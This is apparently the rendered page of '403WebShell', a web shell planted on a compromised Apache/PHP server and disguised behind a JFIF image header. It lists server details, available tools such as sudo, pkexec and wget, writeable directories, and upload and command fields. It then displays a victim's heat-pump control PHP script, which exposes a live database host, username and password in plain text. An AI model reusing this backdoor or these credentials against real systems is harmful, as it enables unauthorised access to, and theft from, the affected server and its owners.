????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.217.84
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/rock_backup/energylog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/appsrv.astacus.se/rock_backup/energylog/indexSAT0001.php
<?php
// ON LASCLOUD
// 1 0 * * SAT php /var/www/html/energylog/indexSAT0001.php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "energicontrol");

// Check forcast to see what temperature is availible for referance
//$from =  date('Y-m-d H:i:s');

$from =  date('Y-m-d')." 00:01:00";
$fromD =  date('Y-m-d');

//$from =  "2022-10-17 00:00:01";
//$fromD = "2022-10-17";

$sql = "SELECT AVG(t) as Value, timeSeries FROM tblForcast WHERE timeSeries >= '$from' and (timeSeries <= '$fromD 04:00:00')";
$result = $mysqli->query($sql);

echo($sql);
$timeSeries = 0;
$Value = -100;
while($obj = $result->fetch_object()){ 
	$Value = $obj->Value;
	$timeSeries = $obj->timeSeries;
}

echo("Average: ".$Value."<br>");

$Value = closest5($Value); // Round up to closest 5.

echo("Closest five: ".$Value."<br>");
	
$sql = "SELECT * FROM tblEnergyLog WHERE HouseId = 1 and ActiveTemp = $Value";
$result = $mysqli->query($sql);

$found = 0;
while($obj = $result->fetch_object()){ 
	$found = 1;
}

if($found == 0){
	echo("Could not find any entry<br>");
	echo("Adding to tblEnergyLog...<br>");
	$mysqli->query("INSERT INTO tblEnergyLog VALUES(null,'1','".$Value."','','','','".$fromD." 00:00:00')");
	$mysqli->query("INSERT INTO tblEnergyLog VALUES(null,'1','".$Value."','','','','".$fromD." 01:00:00')");
	$mysqli->query("INSERT INTO tblEnergyLog VALUES(null,'1','".$Value."','','','','".$fromD." 02:00:00')");
	$mysqli->query("INSERT INTO tblEnergyLog VALUES(null,'1','".$Value."','','','','".$fromD." 03:00:00')");
	$mysqli->query("INSERT INTO tblEnergyLog VALUES(null,'1','".$Value."','','','','".$fromD." 04:00:00')");
	$mysqli->query("INSERT INTO tblEnergyLog VALUES(null,'1','".$Value."','','','','".$fromD." 05:00:00')");
	$mysqli->query("INSERT INTO tblEnergyLog VALUES(null,'1','".$Value."','','','','".$fromD." 06:00:00')");
	$mysqli->query("INSERT INTO tblEnergyLog VALUES(null,'1','".$Value."','','','','".$fromD." 07:00:00')");


	
		// SET VP TO AUTO AGAIN
	$command = escapeshellcmd('/usr/bin/python3 /var/www/html/python_thermia/set_operation_mode.py OFF');
	$output = shell_exec($command);
}else {
	echo("Entry found<br>");
}
	
function closest5($Value) {
    $Value = round($Value,0);
	
	if ( $Value < -12.5) {
		 $Value = -15;
	} elseif ($Value >= -12.5 && $Value < -7.5) {
		 $Value = -10;
	} elseif ($Value >= -7.5 && $Value < -2.5) {
		 $Value = -5;
	} elseif ($Value >= -2.5 && $Value < 2.5) {
		 $Value = 0;
	} elseif ($Value >= 2.5 && $Value < 7.5) {
		 $Value = 5;
	} elseif ($Value >= 7.5 && $Value < 12.5) {
		 $Value = 10;
	} elseif ($Value >= 12.5 && $Value < 18.5) {
		 $Value = 15;
	} 
		
	return $Value;
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit